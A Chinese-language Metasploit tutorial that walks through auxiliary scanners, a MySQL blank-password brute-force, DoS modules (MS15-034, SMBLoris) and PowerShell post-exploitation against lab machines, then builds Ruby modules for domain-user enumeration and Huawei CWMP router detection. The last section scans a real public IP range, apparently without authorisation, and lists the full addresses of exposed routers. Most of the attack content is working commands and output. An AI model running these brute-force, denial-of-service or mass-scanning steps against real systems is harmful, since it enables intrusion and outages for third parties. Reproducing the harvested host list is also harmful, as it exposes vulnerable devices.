Metasploit 框架采用模块化架构,即所有漏洞利用、有效载荷、编码器等都以模块形式存在。模块化架构使框架功能的扩展更加容易。任何程序员都可以开发自己的模块,并将其轻松移植到框架中。
#1、使用辅助模块在之前的"信息收集和扫描 "中,我们已经了解了一些辅助模块,因此在节中,将重点介绍一些最常用、最有用的辅助模块。
列出可用的辅助模块,在msfconsole中使用show auxiliary
msf6 > show auxiliary Auxiliary========= # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/2wire/xslt_password_reset 2007-08-15 normal No 2Wire Cross-Site Request Forgery Password Reset Vulnerability 1 auxiliary/admin/android/google_play_store_uxss_xframe_rce normal No Android Browser RCE Through Google Play Store XFO 2 auxiliary/admin/appletv/appletv_display_image normal No Apple TV Image Remote Control 3 auxiliary/admin/appletv/appletv_display_video normal No Apple TV Video Remote Control ..................... normal No VSploit Zeus DNS Query Module 1218 auxiliary/vsploit/pii/email_pii normal No VSploit Email PII 1219 auxiliary/vsploit/pii/web_pii normal No VSploit Web PIIMetasploit 拥有 1,000 多个辅助模块,可能是目前最完整的渗透框架之一。
我们将从最有用的 HTTP 辅助模块之一 HTTP 目录扫描器开始。该模块可识别给定目录路径中是否存在有趣的目录。默认情况下,它使用 wmap_dirs.txt 字典,但也可以指定自己的字典;运行模块时,我们需要设置目标 IP 地址、范围或 CIDR 标识。
1、在此示例中,将使用Metasploitable 2作为目标靶机
msf6 > use auxiliary/scanner/http/dir_scannermsf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.91.138RHOSTS => 192.168.91.138msf6 auxiliary(scanner/http/dir_scanner) > run[*] Detecting error code[*] Using code '404' as not found for 192.168.91.138[+] Found http://192.168.91.138:80/cgi-bin/ 403 (192.168.91.138)[+] Found http://192.168.91.138:80/doc/ 200 (192.168.91.138)[+] Found http://192.168.91.138:80/icons/ 200 (192.168.91.138)[+] Found http://192.168.91.138:80/index/ 200 (192.168.91.138)[+] Found http://192.168.91.138:80/phpMyAdmin/ 200 (192.168.91.138)[+] Found http://192.168.91.138:80/test/ 200 (192.168.91.138)[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed查看输出,我们可以看到它能够找到几个有趣的目录,例如 phpMyAdmin、test、doc、cgi-bin 等。
2、另一个有用的辅助模块是 HTTP WebDAV 扫描器,它能检测启用了 WebDAV 的网络服务器。要使用它,请设置要使用的 PATH 和目标 IP 地址、范围或 CIDR 标识符:
msf6 auxiliary(scanner/http/dir_scanner) > use auxiliary/scanner/http/webdav_scanner msf6 auxiliary(scanner/http/webdav_scanner) > set PATH /dav/PATH => /dav/msf6 auxiliary(scanner/http/webdav_scanner) > set RHOSTS 192.168.91.138RHOSTS => 192.168.91.138msf6 auxiliary(scanner/http/webdav_scanner) > run[+] 192.168.91.138 (Apache/2.2.8 (Ubuntu) DAV/2) has WEBDAV ENABLED[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed3、让我们来讨论一个涉及一些额外输入的特定扫描仪模块。
MySQL Login Utility 模块是一个暴力破解模块,它会扫描目标上 MySQL 服务器的可用性,并尝试通过暴力攻击来登录数据库,这里使用 Metasploitable 3 机器作为目标:
msf6 > use auxiliary/scanner/mysql/mysql_loginmsf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME rootUSERNAME => rootmsf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS trueBLANK_PASSWORDS => truemsf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.91.133RHOSTS => 192.168.91.133msf6 auxiliary(scanner/mysql/mysql_login) > run[+] 192.168.91.133:3306 - 192.168.91.133:3306 - Found remote MySQL version 5.5.20[!] 192.168.91.133:3306 - No active DB -- Credential data will not be saved![+] 192.168.91.133:3306 - 192.168.91.133:3306 - Success: 'root:'[*] 192.168.91.133:3306 - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed查看输出,我们可以看到我们能够使用用户名 root 和空白密码登录 MySQL 服务器。
#2、DoS攻击模块在前面的章节中,我们学习了在各种攻击场景中使用 Metasploit。在本节中,我们将重点关注拒绝服务 (DoS) 攻击。 DoS 攻击的重点是使资源无法用于其设计目的。 DoS 模块可帮助攻击服务中的渗透测试人员确定客户端是否容易受到此类攻击。那么让我们详细讨论其中一些模块。
在本节中,将重点讨论两个最常受到攻击的协议:HTTP 和 SMB。
#HTTP我们首先看一下 MS15-034 HTTP 协议栈请求处理拒绝服务辅助模块。此模块检查主机是否容易受到 CVE-2015-1635 (MS15-034) 的攻击,这是 HTTP 协议栈 (HTTP.sys) 中的一个漏洞,可能导致任意代码执行。
1、这里以Metasploitable 3为目标靶机
msf6 > use auxiliary/dos/http/ms15_034_ulonglongadd msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.91.133RHOSTS => 192.168.91.133msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run[*] DOS request sent[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed查看目标机器,我们可以验证它是否容易受到此攻击,该攻击使机器崩溃,导致蓝屏死机:
#SMBSMB 是另一个多年来一直受到多个漏洞攻击的协议。 SMBLoris 是针对 Microsoft Windows 操作系统的远程且未经授权的 DoS 攻击。此攻击通过发送 SMB 请求并将 NetBios 会话服务 (NBSS) 长度标头值设置为最大可能值来消耗目标中的大量内存。这种攻击影响从 Windows 2000 到 Windows 10 的所有现代 Windows 版本,可能导致关键业务服务不可用。
1、在启动 msfconsole 并使用 SMBLoris NBSS 拒绝服务辅助模块之前,我们必须更改系统中打开文件的限制。可以使用带ulimit -n命令设置打开文件数量,并将其设置为99999。然后,在msfconsole中加载模块,设置目标的IP地址,并执行攻击:
─$ ulimit -n 99999msf6 > use auxiliary/dos/smb/smb_lorismsf6 auxiliary(dos/smb/smb_loris) > set RHOST 192.168.91.133RHOST => 192.168.91.133msf6 auxiliary(dos/smb/smb_loris) > run[*] Starting server...[*] 192.168.91.133:445 - 100 socket(s) open[*] 192.168.91.133:445 - 200 socket(s) open2、在目标机器中,你应该看到内存消耗快速上升,直到停止攻击
DoS 模块不仅使我们能够验证系统是否容易受到攻击,还能测试针对此类攻击的补丁和缓解措施是否有效。您会对仍然容易受到这些攻击的系统数量以及更新破坏先前补丁的频率感到惊讶,从而使系统容易受到旧攻击的影响。
#3、后渗透模块后渗透模块可以在受感染的目标上运行,以枚举目标、升级权限、收集凭据、进入目标网络等等。 Post 模块替换了已过时且不再受支持的 Meterpreter 脚本。
Metasploit 已拥有 400 多个后渗透模块,已成为世界上最完整的后渗透工具之一,并且得益于社区,它还在快速增长。
msf6 > show post Post==== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/aix/hashdump normal No AIX Gather Dump Password Hashes 1 post/android/capture/screen normal No Android Screen Capture 2 post/android/gather/hashdump ........................ 410 post/windows/wlan/wlan_disconnect normal No Windows Disconnect Wireless Connection 411 post/windows/wlan/wlan_probe_request normal No Windows Send Probe Request Packets 412 post/windows/wlan/wlan_profile normal No Windows Gather Wireless Profile让我们了解一些后利用模块以及如何使用它们。在本节中,我们将使用 Windows Powershell 执行后渗透模块在 Meterpreter 会话中执行 PowerShell 脚本。
这里以Metasploitable 3目标为例,首先获取一个meterpreter会话;然后加载 Windows Powershell Execution Post 模块,设置 Meterpreter 会话ID,并指定要执行的 PowerShell 命令,比如 $Host:
msf6 exploit(windows/smb/psexec) > sessions Active sessions=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE 192.168.91.140:4444 -> 192.168.91.13 3 3:49302 (192.168.91.133) 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE 192.168.91.140:4444 -> 192.168.91.13 3 3:49303 (192.168.91.133)msf6 exploit(windows/smb/psexec) > use post/windows/manage/exec_powershell msf6 post(windows/manage/exec_powershell) > set SESSION 1SESSION => 1msf6 post(windows/manage/exec_powershell) > set script $Hostscript => $Hostmsf6 post(windows/manage/exec_powershell) > run[+] Compressed size: 936[-] Post interrupted by the console user[*] Post module execution completedmsf6 post(windows/manage/exec_powershell) > run [+] Compressed size: 936[*] Name : ConsoleHostVersion : 2.0InstanceId : 6f280c21-0671-49be-8261-5d1bc8489575UI : System.Management.Automation.Internal.Host.InternalHostUserI nterfaceCurrentCulture : en-USCurrentUICulture : en-USPrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxyIsRunspacePushed : FalseRunspace : System.Management.Automation.Runspaces.LocalRunspace[+] Finished![*] Post module execution completed模块的成功执行向我们显示了 $Host 命令的结果。后渗透模块使我们能够访问强大的后渗透功能,并允许我们自动执行重复的任务。因此,如果你想为 Metasploit 社区做出贡献,可以提交你的后渗透模块。
#4、了解模块构建的基础知识到目前为止,我们已经了解了模块的使用以及它们的强大能力。为了掌握MSF框架,必须了解模块的构建和使用。这将帮助我们根据需要快速扩展框架。在接下来的教程中,我们将了解如何使用 Ruby 脚本来构建我们自己的模块并将它们导入到框架中。
让我们从模块构建的一些基础知识开始:
1、首先是定义继承post属性类,该post模块可用导入多种功能,例如访问文件系统、注册表、WMI、LDAP等等
class MetasploitModule < Msf::Post2、include 语句可用于将框架的特定功能包含到我们自己的模块中。例如,如果我们正在构建一个 post 模块,我们可以将其包含为:
include Msf::Post::3、包含PowerShell功能
include Msf::Post::Windows::Powershell4、然后是模块信息,例如模块名称、说明、许可证、作者、平台等
def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Powershell Execution Post Module', 'Description' => %q{ This module will execute a powershell script in a meterpreter session. The user may also enter text substitutions to be made in memory before execution. Setting VERBOSE to true will output both the script prior to execution and the results. }, 'License' => MSF_LICENSE, 'Platform' => ['windows'], 'SessionTypes' => ['meterpreter'], 'Author' => [ 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script 'RageLtMan <rageltman[at]sempervictus>' # post module and libs ] ) )5、register_options 设置所需参数的默认值:
register_options( [ OptString.new('SCRIPT', [true, 'Path to the local PS script or command string to execute']), ] ) register_advanced_options( [ OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub']), ] )6、最后,run 方法是实际代码所在的位置:
def run # Make sure we meet the requirements before running the script, note no need to return # unless error raise 'Powershell not available' if !have_powershell? # Preprocess the Powershell::Script object with substitions from Exploit::Powershell script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS'])) # Execute in session print_status psh_exec(script) print_good 'Finished!' endend分析内置脚本是了解有关脚本构建的更多信息的最佳方式。有相当多的文档可用于学习模块构建,但学习 Ruby编写模块的最佳方法是分析现有模块。
#5、分析现有模块现在我们已经在之前的教程中积累了一些有关模块构建的背景知识,下一步将是分析现有模块。
我们将分析Windows Powershell Execution Post模块,以便更深入的了解模块的构建。
在上一节中,我们已经了解了模块的基本组成,所以这里直接从主体开始。
模块的位置:/usr/share/metasploit-framework/modules/post/windows/manage/exec_powershell.rb
从分析模块 run 的方法开始,以了解它是如何工作的:
def run raise 'Powershell not available' if !have_powershell? script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS'])) print_status psh_exec(script) print_good 'Finished!' end1、首先,它会验证是否满足要求,验证PowerShell是否可用,如果不行,则抛出异常:
raise 'Powershell not available' if !have_powershell?2、接下来,它读取并预处理提供的 PowerShell 脚本,并将结果保存在名为 script 的变量中:
script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))3、最后,它使用预处理的 PowerShell 脚本作为参数调用 psh_exec 方法,并使用print_status将输出打印到屏幕,后跟单词 Finished!并使用 print_good,它将特征[+]绿色符号附加到输出中:
print_status psh_exec(script) print_good 'Finished!'这是对post模块如何在框架内工作的快速介绍。你可以相应地更改现有脚本以满足你的需求。
#6、构建自己的后渗透模块在前面的教程中,已经学习了有关构建模块的背景知识。在本节中,我们用一个示例说明如何构建自己的模块并将其添加到MSF框架中。构建模块非常方便,因此我们能够根据需要扩展框架。
让我们构建一个小的post模块,该模块将使用 PowerShell 枚举域中的所有用户。
post 模块根据其行为进行分类,如官方文档中的以下列表所示:
Category 类别
Description 描述
gather
Modules that involve data gathering/collecting/enumeration. 涉及数据收集/收集/枚举的模块。
gather/credentials
Modules that steal credentials. 窃取凭据的模块。
gather/forensics
Modules that involve forensics data gathering. 涉及取证数据收集的模块。
manage
Modules that modify/operate/manipulate something on the system. Session management-related tasks such as migration, injection also go here. 修改/操作/操作系统上某些内容的模块。与会话管理相关的任务(如迁移、注入)也在到此处。
recon
Modules that will help you learn more about the system in terms of reconnaissance, but not about data stealing. Understand that this is not the same as gather type modules. 这些模块将帮助你在侦察方面了解有关系统的更多信息,但不会涉及有关数据窃取的信息。了解这与 gather 类型模块不同。
wlan
Modules that are for WLAN related tasks. 用于 WLAN 相关任务的模块。
escalate
This is deprecated, but the modules remain there due to popularity. This used to be the place for privilege escalation modules. All privilege escalation modules are no longer considered as post modules, they're now exploits. 这已被弃用,但由于受欢迎程度,模块仍然存在。这曾经是权限升级模块的地方。所有权限提升模块不再被视为post模块,它们现在都是exploit模块。
capture
Modules that involve monitoring something for data collection. For example, keylogging. 涉及监视某些内容以进行数据收集的模块。例如,键盘记录。
由于我们的模块将枚举域用户,因此我们应该将其放在gather类别中,因此目标目录应该是:
/usr/share/metasploit-framework/modules/post/windows/gather/1、首先是定义继承post属性类
class MetasploitModule < Msf::Post2、在模块中包含PowerShell功能
include Msf::Post::Windows::Powershell3、然后我们需要填写模块信息
def initialize(info={}) super(update_info(info, 'Name' => 'PowerShell Domain User Enumeration', 'Description' => %q{ This module will enumerate user accounts in the default domain using PowerShell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Teixeira' ], 'Platform' => [ 'win'], 'SessionTypes' => [ 'meterpreter' ] )) end4、对于此模块,我们将使用 PowerShell [adsiSearcher] 类型加速器来搜索 AD 并列出所有用户:
user_enum = '([adsisearcher]"objectcategory=user").findall() | foreach {$_.Path} | ForEach-Object { $_.Split("=,")[1]}'5、将结果打印输出
print_status psh_exec(user_enum)6、将文件保存为ps_ad_users.rb,存放在/usr/share/metasploit-framework/modules/post/windows/gather/目录。完整源码如下:
### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell def initialize(info={}) super(update_info(info, 'Name' => 'PowerShell Domain User Enumeration', 'Description' => %q{ This module will enumerate user accounts in the default domain using PowerShell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Teixeira' ], 'Platform' => [ 'win'], 'SessionTypes' => [ 'meterpreter' ] )) end def run user_enum = '([adsisearcher]"objectcategory=user").findall() | foreach {$_.Path} | ForEach-Object { $_.Split("=,")[1]}' print_status psh_exec(user_enum) print_good 'Finished!' endend7、要测试模块,请在目标上获取初始会话并加载模块,指定 Meterpreter 会话 ID,然后运行:
msf6 exploit(windows/smb/psexec) > sessions Active sessions=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE 192.168.91.140:4444 -> 192.168.91.13 3 3:49636 (192.168.91.133) 4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE 192.168.91.140:4444 -> 192.168.91.13 3 3:49637 (192.168.91.133)msf6 exploit(windows/smb/psexec) > use post/windows/gather/ps_ad_users msf6 post(windows/gather/ps_ad_users) > set session 4session => 4msf6 post(windows/gather/ps_ad_users) > run [+] Compressed size: 1280[*] AdministratorGuestvagrantsshdsshd_serverleah_organaluke_skywalkerhan_soloartoo_detooc_three_pioben_kenobidarth_vaderanakin_skywalkerjarjar_binkslando_calrissianboba_fettjabba_huttgreedochewbaccakylo_renkrbtgt[+] Finished![*] Post module execution completed由于我们不需要成为特权用户来使用该模块,因此它在后渗透利用过程中非常有用。
#7、构建自己的辅助模块在写本教程的时候,Metasploit框架已经有1000多个辅助模块,而且这个数字还在增长中。因为总会有新的软件和漏洞在框架中仍然不可用。因此,在本节教程中,我们将学习如何构建自己的辅助模块。
接下来,我们将编写一个辅助模块,用于扫描启用了 CPE WAN 管理协议(CWMP)的华为家庭路由器。 CWMP 是提供商用于远程管理客户端设备的协议。它允许自动配置、软件或固件映像管理、软件模块管理、状态和性能管理以及诊断。
1、当我们使用 CWMP 默认端口 7547 连接到路由器时,会出现401认证提示
2、通过使用curl -v 详细选项,可以看到发出的请求和来自路由器的回复:
# curl -v http://190.*.*.44:7547* Trying 190.*.*.44:7547...* Connected to 190.*.*.44 (190.*.*.44) port 7547 (#0)> GET / HTTP/1.1> Host: 190.*.*.44:7547> User-Agent: curl/7.88.1> Accept: */*> < HTTP/1.1 401 Unauthorized< Connection: Keep-Alive< WWW-Authenticate: Digest realm="HuaweiHomeGateway",nonce="59586355dbea6549298e3b46c6ba3606", qop="auth", algorithm="MD5"< Content-Length: 0< * Connection #0 to host 190.*.*.44 left intact有了这些信息,我们可以构建一个辅助模块来扫描目标范围,并识别运行启用了CWMP的华为家用路由器。
由于 Metasploit 可能已经有一个具有我们正在寻找的基本功能的模块,因此我们应该做的第一件事就是搜索可用模块并看看我们可以怎么利用。
对于本节示例,我们将从 /usr/share/metasploit-framework/modules/auxiliary/scanner/http 文件夹中的 HTTP 版本检测辅助模块 http_version.rb 开始,该模块具备所需的功能。
3、直接看run部分的代码:
def run_host(ip) begin connect res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_good("#{ip}:#{rport} #{fp}") if fp report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp) rescue ::Timeout::Error, ::Errno::EPIPE ensure disconnect end end如你所见,它非常简单:首先连接到目标,发送 HTTP GET 请求,使用 http_fingerprint 方法将结果存储在名为 fp 的变量中,然后使用 print_good 打印输出,并使用 report_service 将结果添加到当前工作区。
我们在此模块的基础上改造。
4、使用 register_options 数据结构,指定模块的默认端口号,由于我们要扫描 CWMP 服务,指定端口为 7547:
register_options([ Opt::RPORT(7547),])5、然后,我们需要比对响应并验证该设备是否是华为家庭网关。为此,创建一个名为 huawei 的新变量来保存路由器的响应:
huawei = " ( 401-Basic realm=\"HuaweiHomeGateway\" )"6、接下来,使用 if 语句将来自目标的响应与定义的变量进行比较,如果匹配,则打印并保存结果:
if fp == huawei print_good("#{ip}") report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway")end7、完整代码如下:
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Huawei Home Gateway CWMP Detection', 'Description' => 'This module allows the identification of Huawei Home Gateway routers with CWMP enabled', 'Author' => 'Daniel Teixeira', 'License' => MSF_LICENSE ) register_wmap_options({ 'OrderID' => 0, 'Require' => {}, }) register_options( [ Opt::RPORT(7547), ]) end def run_host(ip) begin connect res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) huawei = " ( 401-Basic realm=\"HuaweiHomeGateway\" )" if fp == huawei print_good("#{ip}") report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway") end rescue ::Timeout::Error, ::Errno::EPIPE ensure disconnect end endend8、将代码保存到 /usr/share/metasploit-framework/modules/auxiliary/scanner/http 命名为 huawei_cwmp.rb ,在msfconsole中加载该模块,然后设置扫码的IP范围,运行该模块。
msf6 > use auxiliary/scanner/http/huawei_cwmp msf6 auxiliary(scanner/http/huawei_cwmp) > set RHOSTS 89.181.67.0/24RHOSTS => 89.181.67.0/24msf6 auxiliary(scanner/http/huawei_cwmp) > set THREADS 256THREADS => 256msf6 auxiliary(scanner/http/huawei_cwmp) > run[+] 89.181.67.249[+] 89.181.67.227[+] 89.181.67.179[+] 89.181.67.22[+] 89.181.67.152[+] 89.181.67.193[+] 89.181.67.169[+] 89.181.67.93[+] 89.181.67.44[*] Scanned 29 of 256 hosts (11% complete)[+] 89.181.67.4[+] 89.181.67.134[+] 89.181.67.1669、由于代码中设置了将输出保存到当前工作区,因此可以使用 host 和 services 命令来显示扫描结果:
msf6 auxiliary(scanner/http/huawei_cwmp) > hosts Hosts=====address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------89.181.67.4 89.181.67.4 Unknown router89.181.67.22 89.181.67.22 Unknown router89.181.67.44 89.181.67.44 Unknown router89.181.67.49 89.181.67.49 Unknown router89.181.67.61 89.181.67.61 Unknown router89.181.67.76 89.181.67.76 Unknown router89.181.67.93 89.181.67.93 Unknown router89.181.67.109 89.181.67.109 Unknown device89.181.67.134 89.181.67.134 Unknown router89.181.67.152 89.181.67.152 Unknown router89.181.67.166 89.181.67.166 Unknown router89.181.67.169 89.181.67.169 Unknown router89.181.67.179 89.181.67.179 Unknown router89.181.67.193 89.181.67.193 Unknown router89.181.67.216 89.181.67.216 Unknown router89.181.67.227 89.181.67.227 Unknown router89.181.67.241 89.181.67.241 Unknown device89.181.67.249 89.181.67.249 Unknown routermsf6 auxiliary(scanner/http/huawei_cwmp) > services Services========host port proto name state info---- ---- ----- ---- ----- ----89.181.67.4 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.22 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.44 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.49 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.61 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.76 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.93 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.109 7547 tcp http open CPE-SERVER/1.0 Supports only GET89.181.67.134 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.152 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.166 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.169 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.179 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.193 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.216 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.227 7547 tcp http open CWMP - Huawei Home Gateway89.181.67.241 7547 tcp http open CPE-SERVER/1.0 Supports only GET89.181.67.249 7547 tcp http open CWMP - Huawei Home Gateway